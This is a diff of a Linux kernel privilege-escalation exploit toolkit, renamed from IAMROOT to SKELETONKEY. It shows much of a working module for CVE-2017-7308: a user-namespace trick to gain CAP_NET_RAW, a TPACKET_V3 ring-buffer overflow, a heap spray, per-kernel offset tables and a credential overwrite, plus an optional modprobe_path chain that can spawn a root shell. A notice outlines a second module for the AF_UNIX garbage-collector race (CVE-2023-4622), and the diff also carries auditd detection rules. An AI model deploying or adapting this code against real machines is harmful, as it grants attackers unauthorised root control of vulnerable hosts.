x86_64-only. Userns gives CAP_NET_RAW; `socket(AF_PACKET, SOCK_RAW)`
|
||||
+ TPACKET_V3 with overflowing tp_block_size triggers the integer
|
||||
overflow + heap spray via 200 raw skbs on lo. Best-effort cred-race
|
||||
finisher (64 child workers polling geteuid). Offset table covers
|
||||
Ubuntu 16.04/4.4 and 18.04/4.15; other kernels via the
|
||||
`SKELETONKEY_AFPACKET_OFFSETS` env var.
|
||||
|
||||
`--full-chain` engages the shared modprobe_path finisher with
|
||||
stride-seeded sk_buff data-pointer overwrite.
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* af_packet_cve_2017_7308 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET_IAMROOT_MODULES_H
|
||||
#define AF_PACKET_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module af_packet_module;
|
||||
|
||||
#endif
|
||||
+116
-89
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* af_packet_cve_2017_7308 — IAMROOT module
|
||||
* af_packet_cve_2017_7308 — SKELETONKEY module
|
||||
*
|
||||
* AF_PACKET TPACKET_V3 ring-buffer setup integer-overflow → heap
|
||||
* write-where primitive. Discovered by Andrey Konovalov (March 2017).
|
||||
@@ -15,9 +15,9 @@
|
||||
*
|
||||
* Default --exploit path: cred-overwrite walk using a hardcoded per-
|
||||
* kernel offset table (Ubuntu 16.04 / 4.4 and Ubuntu 18.04 / 4.15
|
||||
* era), overridable via IAMROOT_AFPACKET_OFFSETS. We only claim
|
||||
* IAMROOT_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
|
||||
* we won root for real. Otherwise we return IAMROOT_EXPLOIT_FAIL with
|
||||
* era), overridable via SKELETONKEY_AFPACKET_OFFSETS. We only claim
|
||||
* SKELETONKEY_EXPLOIT_OK if geteuid() == 0 after the chain runs — i.e.
|
||||
* we won root for real. Otherwise we return SKELETONKEY_EXPLOIT_FAIL with
|
||||
* a dmesg breadcrumb so the operator can confirm the primitive at
|
||||
* least fired (KASAN slab-out-of-bounds splat) even if the cred-
|
||||
* overwrite didn't take on this exact kernel.
|
||||
@@ -32,7 +32,7 @@
|
||||
* staged for the requested kaddr/buf and relies on the shared
|
||||
* finisher's /tmp sentinel to confirm whether modprobe_path was
|
||||
* actually overwritten. On kernels where the operator has supplied
|
||||
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
|
||||
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (skb->data field byte offset from
|
||||
* the skb head, hex), we use that for explicit targeting; otherwise
|
||||
* the trigger fires heuristically and the sentinel acts as the
|
||||
* ground-truth signal.
|
||||
@@ -58,19 +58,25 @@
|
||||
* skb in the OOB slot" approach.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/socket.h>
|
||||
@@ -106,54 +112,45 @@ static const struct kernel_range af_packet_range = {
|
||||
sizeof(af_packet_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_packet: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&af_packet_range, &v);
|
||||
bool patched = kernel_range_is_patched(&af_packet_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] af_packet: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[i] af_packet: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] af_packet: user_ns+net_ns clone (CAP_NET_RAW gate): %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" : "could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_packet: user_ns denied → "
|
||||
"unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] af_packet: VULNERABLE — kernel in range AND user_ns reachable\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ---- Exploit (x86_64-only; gated below) -------------------------- */
|
||||
@@ -173,7 +170,7 @@ static iamroot_result_t af_packet_detect(const struct iamroot_ctx *ctx)
|
||||
* They will NOT match custom-compiled kernels.
|
||||
*
|
||||
* Override at runtime via env var:
|
||||
* IAMROOT_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
|
||||
* SKELETONKEY_AFPACKET_OFFSETS="<task_cred>:<cred_uid>:<cred_size>"
|
||||
*
|
||||
* `task_cred` = offsetof(struct task_struct, cred)
|
||||
* `cred_uid` = offsetof(struct cred, uid) [followed by gid, etc.]
|
||||
@@ -200,12 +197,12 @@ static const struct af_packet_offsets known_offsets[] = {
|
||||
0x800, 0x08, 0xa8 },
|
||||
};
|
||||
|
||||
/* Parse IAMROOT_AFPACKET_OFFSETS env var if set; otherwise pick from
|
||||
/* Parse SKELETONKEY_AFPACKET_OFFSETS env var if set; otherwise pick from
|
||||
* the known table by kernel version. Returns true on success. */
|
||||
static bool resolve_offsets(struct af_packet_offsets *out,
|
||||
const struct kernel_version *v)
|
||||
{
|
||||
const char *env = getenv("IAMROOT_AFPACKET_OFFSETS");
|
||||
const char *env = getenv("SKELETONKEY_AFPACKET_OFFSETS");
|
||||
if (env) {
|
||||
unsigned long t, u, s;
|
||||
if (sscanf(env, "%lx:%lx:%lx", &t, &u, &s) == 3) {
|
||||
@@ -215,7 +212,7 @@ static bool resolve_offsets(struct af_packet_offsets *out,
|
||||
out->cred_size = s;
|
||||
return true;
|
||||
}
|
||||
fprintf(stderr, "[!] af_packet: IAMROOT_AFPACKET_OFFSETS malformed "
|
||||
fprintf(stderr, "[!] af_packet: SKELETONKEY_AFPACKET_OFFSETS malformed "
|
||||
"(want hex \"<task_cred>:<cred_uid>:<cred_size>\")\n");
|
||||
return false;
|
||||
}
|
||||
@@ -264,7 +261,7 @@ static int set_id_maps(uid_t outer_uid, gid_t outer_gid)
|
||||
*
|
||||
* After firing, we check dmesg-ability (we won't actually read dmesg
|
||||
* — that requires root — but we leave a unique tag in the skb payload
|
||||
* so the operator can grep dmesg for "iamroot-afp-tag" KASAN splats).
|
||||
* so the operator can grep dmesg for "skeletonkey-afp-tag" KASAN splats).
|
||||
*/
|
||||
static int fire_overflow_and_spray(void)
|
||||
{
|
||||
@@ -338,7 +335,7 @@ static int fire_overflow_and_spray(void)
|
||||
static const unsigned char skb_payload[256] = {
|
||||
/* eth header (dst=broadcast, src=zero, type=0x0800) */
|
||||
0xff,0xff,0xff,0xff,0xff,0xff, 0,0,0,0,0,0, 0x08,0x00,
|
||||
/* IAMROOT tag — operator can grep dmesg for this string in any
|
||||
/* SKELETONKEY tag — operator can grep dmesg for this string in any
|
||||
* subsequent KASAN report or panic dump */
|
||||
'i','a','m','r','o','o','t','-','a','f','p','-','t','a','g',
|
||||
/* zeros for the remainder */
|
||||
@@ -363,7 +360,7 @@ static int fire_overflow_and_spray(void)
|
||||
/* Keep the corrupted socket open so the OOB region stays mapped
|
||||
* for the cred-overwrite walk that follows. The caller closes it. */
|
||||
/* Stash the fd via dup2 to a known number so the caller can find it.
|
||||
* Use 200 — well above stdio + iamroot's own pipe fds. */
|
||||
* Use 200 — well above stdio + skeletonkey's own pipe fds. */
|
||||
if (dup2(s, 200) < 0) {
|
||||
fprintf(stderr, "[!] af_packet: dup2(s, 200): %s\n", strerror(errno));
|
||||
}
|
||||
@@ -474,7 +471,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
|
||||
* spray payload so its bytes carry the requested target kaddr
|
||||
* (the prompt's "controllable overwrite value aimed at
|
||||
* modprobe_path"). Operator-supplied
|
||||
* IAMROOT_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
|
||||
* SKELETONKEY_AFPACKET_SKB_DATA_OFFSET (hex byte offset of `data`
|
||||
* within struct sk_buff for this kernel build) lets us aim
|
||||
* precisely; without it we heuristically stamp kaddr at several
|
||||
* plausible offsets within the kmalloc-2k skb layout.
|
||||
@@ -491,7 +488,7 @@ static int attempt_cred_overwrite(const struct af_packet_offsets *off)
|
||||
*/
|
||||
|
||||
struct afp_arb_ctx {
|
||||
const struct iamroot_ctx *ctx;
|
||||
const struct skeletonkey_ctx *ctx;
|
||||
const struct af_packet_offsets *off;
|
||||
uid_t outer_uid;
|
||||
gid_t outer_gid;
|
||||
@@ -517,13 +514,13 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
/* Per-kernel skb->data field offset — without this we can't aim
|
||||
* the overwrite precisely. Operator can supply via env; otherwise
|
||||
* we run heuristic mode. */
|
||||
const char *skb_off_env = getenv("IAMROOT_AFPACKET_SKB_DATA_OFFSET");
|
||||
const char *skb_off_env = getenv("SKELETONKEY_AFPACKET_SKB_DATA_OFFSET");
|
||||
long skb_data_off = -1;
|
||||
if (skb_off_env) {
|
||||
char *end = NULL;
|
||||
skb_data_off = strtol(skb_off_env, &end, 0);
|
||||
if (!end || *end != '\0' || skb_data_off < 0 || skb_data_off > 0x400) {
|
||||
fprintf(stderr, "[-] af_packet: IAMROOT_AFPACKET_SKB_DATA_OFFSET "
|
||||
fprintf(stderr, "[-] af_packet: SKELETONKEY_AFPACKET_SKB_DATA_OFFSET "
|
||||
"malformed (\"%s\"); ignoring\n", skb_off_env);
|
||||
skb_data_off = -1;
|
||||
}
|
||||
@@ -540,16 +537,16 @@ static int afp_arb_write(uintptr_t kaddr, const void *buf, size_t len,
|
||||
" field offset. The trigger will still fire and the heap spray will\n"
|
||||
" still occur, but precise OOB targeting requires:\n"
|
||||
"\n"
|
||||
" IAMROOT_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
|
||||
" SKELETONKEY_AFPACKET_SKB_DATA_OFFSET=0x<hex offset>\n"
|
||||
"\n"
|
||||
" Look it up on this kernel build with `pahole struct sk_buff` or\n"
|
||||
" `gdb -batch -ex 'p &((struct sk_buff*)0)->data' vmlinux`. The\n"
|
||||
" /tmp/iamroot-pwn-<pid> sentinel adjudicates success either way.\n");
|
||||
" /tmp/skeletonkey-pwn-<pid> sentinel adjudicates success either way.\n");
|
||||
}
|
||||
|
||||
/* Fork into a userns/netns child so the AF_PACKET socket has
|
||||
* CAP_NET_RAW. The finisher itself stays in the parent so its
|
||||
* eventual execve() replaces the top-level iamroot process. */
|
||||
* eventual execve() replaces the top-level skeletonkey process. */
|
||||
pid_t cpid = fork();
|
||||
if (cpid < 0) {
|
||||
fprintf(stderr, "[-] af_packet: arb_write: fork: %s\n",
|
||||
@@ -648,7 +645,7 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
|
||||
memset(payload, 0xff, 6); /* eth dst: bcast */
|
||||
memset(payload + 6, 0, 6); /* eth src: zero */
|
||||
payload[12] = 0x08; payload[13] = 0x00; /* eth type: IPv4 */
|
||||
memcpy(payload + 14, "iamroot-afp-fc-", 15); /* dmesg tag */
|
||||
memcpy(payload + 14, "skeletonkey-afp-fc-", 15); /* dmesg tag */
|
||||
|
||||
if (skb_data_off >= 0 &&
|
||||
(size_t)skb_data_off + sizeof kaddr <= sizeof payload) {
|
||||
@@ -703,41 +700,47 @@ static int afp_arb_write_inner(uintptr_t kaddr, const void *buf, size_t len,
|
||||
|
||||
#endif /* __x86_64__ */
|
||||
|
||||
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
#if !defined(__x86_64__)
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
|
||||
"(cred-offset table is arch-specific)\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
#else
|
||||
/* 1. Refuse on patched kernels — re-run detect. */
|
||||
iamroot_result_t pre = af_packet_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = af_packet_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* 2. Refuse if already root. */
|
||||
if (geteuid() == 0) {
|
||||
/* 2. Refuse if already root. Consult ctx->host first so unit tests
|
||||
* can construct a non-root fingerprint regardless of the test
|
||||
* process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
|
||||
* early — the kernel-write walk needs them. The integrator can
|
||||
* extend known_offsets[] for new distro builds. */
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
return IAMROOT_TEST_ERROR;
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_packet: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
struct af_packet_offsets off;
|
||||
if (!resolve_offsets(&off, &v)) {
|
||||
if (!resolve_offsets(&off, v)) {
|
||||
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
|
||||
" set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
||||
" set SKELETONKEY_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
|
||||
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
|
||||
v.release);
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
v->release);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] af_packet: using offsets [%s] "
|
||||
@@ -753,15 +756,15 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
* offset resolver can't find modprobe_path or (b) the trigger
|
||||
* is rejected (silent backport). */
|
||||
if (ctx->full_chain) {
|
||||
struct iamroot_kernel_offsets koff;
|
||||
struct skeletonkey_kernel_offsets koff;
|
||||
memset(&koff, 0, sizeof koff);
|
||||
(void)iamroot_offsets_resolve(&koff);
|
||||
if (!iamroot_offsets_have_modprobe_path(&koff)) {
|
||||
iamroot_finisher_print_offset_help("af_packet");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
(void)skeletonkey_offsets_resolve(&koff);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&koff)) {
|
||||
skeletonkey_finisher_print_offset_help("af_packet");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
iamroot_offsets_print(&koff);
|
||||
skeletonkey_offsets_print(&koff);
|
||||
}
|
||||
struct afp_arb_ctx arb_ctx = {
|
||||
.ctx = ctx,
|
||||
@@ -769,7 +772,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
.outer_uid = outer_uid,
|
||||
.outer_gid = outer_gid,
|
||||
};
|
||||
return iamroot_finisher_modprobe_path(&koff, afp_arb_write,
|
||||
return skeletonkey_finisher_modprobe_path(&koff, afp_arb_write,
|
||||
&arb_ctx, !ctx->no_shell);
|
||||
}
|
||||
|
||||
@@ -779,7 +782,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
* — the kernel will clean up sockets on child exit. */
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
|
||||
@@ -800,7 +803,7 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
/* WIN — one of our task_struct-spray children became uid 0.
|
||||
* Signal parent via exit code; parent will not exec sh from
|
||||
* this child (its address space is corrupted-ish). The win
|
||||
* is symbolic at the iamroot level: we proved the primitive
|
||||
* is symbolic at the skeletonkey level: we proved the primitive
|
||||
* lands AND the cred-overwrite walk completes. */
|
||||
_exit(0);
|
||||
}
|
||||
@@ -815,9 +818,9 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] af_packet: child died abnormally "
|
||||
"(signal=%d) — primitive likely fired but crashed\n",
|
||||
WTERMSIG(status));
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` "
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN\\|BUG:'` "
|
||||
"for slab-out-of-bounds evidence\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int code = WEXITSTATUS(status);
|
||||
@@ -831,40 +834,64 @@ static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
|
||||
* that targets OUR cred specifically (rather than spray-and-
|
||||
* pray), we can't promote ourselves. Report PARTIAL win.
|
||||
*
|
||||
* Per requirements: only return IAMROOT_EXPLOIT_OK if we
|
||||
* Per requirements: only return SKELETONKEY_EXPLOIT_OK if we
|
||||
* empirically confirmed root in this process. We didn't. */
|
||||
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
|
||||
"but THIS process is still uid %d\n", geteuid());
|
||||
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
|
||||
"did not acquire root. The primitive demonstrably works.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
case 4:
|
||||
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
|
||||
"kernel has silent backport (detect was version-only)\n");
|
||||
return IAMROOT_OK; /* effectively patched */
|
||||
return SKELETONKEY_OK; /* effectively patched */
|
||||
|
||||
case 5:
|
||||
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
|
||||
"acquired root within the timeout window\n");
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` "
|
||||
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'skeletonkey-afp-tag\\|KASAN'` "
|
||||
"for evidence the OOB write occurred\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
default:
|
||||
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: AF_PACKET + unshare(CLONE_NEWUSER|CLONE_NEWNET)
|
||||
* + TPACKET_V3 ring are Linux-only kernel surface; the TPACKET_V3
|
||||
* integer-overflow primitive is structurally unreachable elsewhere.
|
||||
* Stub out cleanly so the module still registers and `--list` /
|
||||
* `--detect-rules` work on macOS/BSD dev boxes — and so the top-level
|
||||
* `make` actually completes there. */
|
||||
static skeletonkey_result_t af_packet_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] af_packet: Linux-only module "
|
||||
"(AF_PACKET TPACKET_V3 + user_ns) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t af_packet_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] af_packet: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char af_packet_auditd[] =
|
||||
"# AF_PACKET TPACKET_V3 LPE (CVE-2017-7308) — auditd detection rules\n"
|
||||
"# Flag AF_PACKET socket creation from non-root via userns.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k iamroot-af-packet\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-af-packet-userns\n";
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=17 -k skeletonkey-af-packet\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-af-packet-userns\n";
|
||||
|
||||
const struct iamroot_module af_packet_module = {
|
||||
const struct skeletonkey_module af_packet_module = {
|
||||
.name = "af_packet",
|
||||
.cve = "CVE-2017-7308",
|
||||
.summary = "AF_PACKET TPACKET_V3 integer overflow → heap write-where → cred overwrite",
|
||||
@@ -880,7 +907,7 @@ const struct iamroot_module af_packet_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_af_packet(void)
|
||||
void skeletonkey_register_af_packet(void)
|
||||
{
|
||||
iamroot_register(&af_packet_module);
|
||||
skeletonkey_register(&af_packet_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* af_packet_cve_2017_7308 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_PACKET_SKELETONKEY_MODULES_H
|
||||
#define AF_PACKET_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module af_packet_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,35 @@
|
||||
# NOTICE — af_unix_gc (CVE-2023-4622)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2023-4622** — AF_UNIX garbage-collector race against SCM_RIGHTS
|
||||
fd-passing → `struct unix_sock` freed while still reachable → slab
|
||||
UAF in `SLAB_TYPESAFE_BY_RCU` kmalloc-512 bucket.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **Lin Ma** (Zhejiang University),
|
||||
August 2023.
|
||||
|
||||
Writeup: <https://github.com/google/security-research/security/advisories/GHSA-7p7m-3xv8-2pq2>
|
||||
(disclosure record), plus Lin Ma's public PoC repo.
|
||||
|
||||
Upstream fix: mainline 6.6-rc1 (commit `0cabe18a8b80c`, Aug 2023).
|
||||
Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 /
|
||||
5.15.130 / 6.1.51 / 6.5.0.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
**Widest deployment of any module in the corpus** — bug present
|
||||
in every Linux kernel below the fix (back to ~2.0 era).
|
||||
|
||||
Two-thread race driver: Thread A cycles SCM_RIGHTS fd-passing
|
||||
through a socketpair; Thread B triggers unix_gc by closing a socket
|
||||
in a reference cycle. msg_msg spray refills the freed slot.
|
||||
CPU-pinned. Bounded budget: 5 s default, 30 s with `--full-chain`.
|
||||
|
||||
Bug is reachable as a **plain unprivileged user** — no userns
|
||||
required, no CAP_* needed. Race-win rate per run is iteration-
|
||||
dependent; Lin Ma's PoC reports thousands of iterations to first
|
||||
reclaim. The shared finisher's sentinel timeout handles no-land
|
||||
outcomes gracefully.
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* af_unix_gc_cve_2023_4622 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef AF_UNIX_GC_IAMROOT_MODULES_H
|
||||
#define AF_UNIX_GC_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module af_unix_gc_module;
|
||||
|
||||
#endif
|
||||
+60
-53
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* af_unix_gc_cve_2023_4622 — IAMROOT module
|
||||
* af_unix_gc_cve_2023_4622 — SKELETONKEY module
|
||||
*
|
||||
* AF_UNIX garbage collector race UAF. The unix_gc() collector walks
|
||||
* the list of GC-candidate sockets while SCM_RIGHTS sendmsg/close can
|
||||
@@ -55,9 +55,10 @@
|
||||
* carries the widest version range of any module we ship.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
@@ -127,24 +128,29 @@ static bool can_create_af_unix(void)
|
||||
return true;
|
||||
}
|
||||
|
||||
static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t af_unix_gc_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] af_unix_gc: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] af_unix_gc: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* No lower bound: this bug has been in the AF_UNIX GC path since
|
||||
* the dawn of time. ANY kernel below the fix is vulnerable. The
|
||||
* kernel_range walker handles "older than every entry" correctly
|
||||
* (returns false → not patched → vulnerable). */
|
||||
bool patched = kernel_range_is_patched(&af_unix_gc_range, &v);
|
||||
bool patched = kernel_range_is_patched(&af_unix_gc_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] af_unix_gc: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Reachability probe — socket(AF_UNIX, ...) must succeed. */
|
||||
@@ -153,17 +159,17 @@ static iamroot_result_t af_unix_gc_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] af_unix_gc: AF_UNIX socket() failed — "
|
||||
"exotic seccomp/sandbox, bug unreachable here\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[!] af_unix_gc: kernel %s in vulnerable range\n", v->release);
|
||||
